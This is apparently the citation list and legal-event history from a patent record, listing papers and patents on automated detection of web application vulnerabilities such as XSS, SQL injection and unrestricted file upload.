Huang et al. | UChecker: Automatically detecting php-based unrestricted file upload vulnerabilities | |
Ruse et al. | Detecting cross-site scripting vulnerability using concolic testing | |
Chen et al. | DroidCIA: A novel detection method of code injection attacks on HTML5-based mobile apps | |
Ocariza Jr et al. | Automatic fault localization for client‐side JavaScript | |
CN110460612A (zh) | 安全测试方法、设备、存储介质及装置 | |
KR20180075881A (ko) | 클라이언트 측 웹 취약점 분석 방법 및 장치 | |
Li et al. | LogicScope: Automatic discovery of logic vulnerabilities within web applications | |
Al Anhar et al. | Evaluation of web application vulnerability scanner for modern web application | |
Wi et al. | DiffCSP: Finding Browser Bugs in Content Security Policy Enforcement through Differential Testing | |
Li et al. | MiniTracker: Large-Scale Sensitive Information Tracking in Mini Apps | |
CN114117426B (zh) | 一种web应用漏洞检测方法及系统 | |
Shahriar et al. | Early detection of SQL injection attacks | |
CN115952508A (zh) | 测试用例试生成方法、系统、计算机设备和存储介质 | |
Hamou-Lhadj et al. | Software behaviour correlation in a redundant and diverse environment using the concept of trace abstraction | |
CN112446030B (zh) | 一种网页端的文件上传漏洞检测方法和装置 | |
CN113849817A (zh) | 一种JavaScript原型链污染漏洞的检测方法及装置 | |
Deng et al. | {NAUTILUS}: Automated {RESTful}{API} Vulnerability Detection | |
CN114003916A (zh) | Web角色纵向越权漏洞的测试方法、系统、终端及存储介质 | |
Ocariza Jr et al. | Localizing software performance regressions in web applications by comparing execution timelines |
Legal Events
Date | Code | Title | Description |
---|---|---|---|
PB01 | Publication | ||
PB01 | Publication | ||
SE01 | Entry into force of request for substantive examination | ||
SE01 | Entry into force of request for substantive examination | ||
GR01 | Patent grant | ||
GR01 | Patent grant |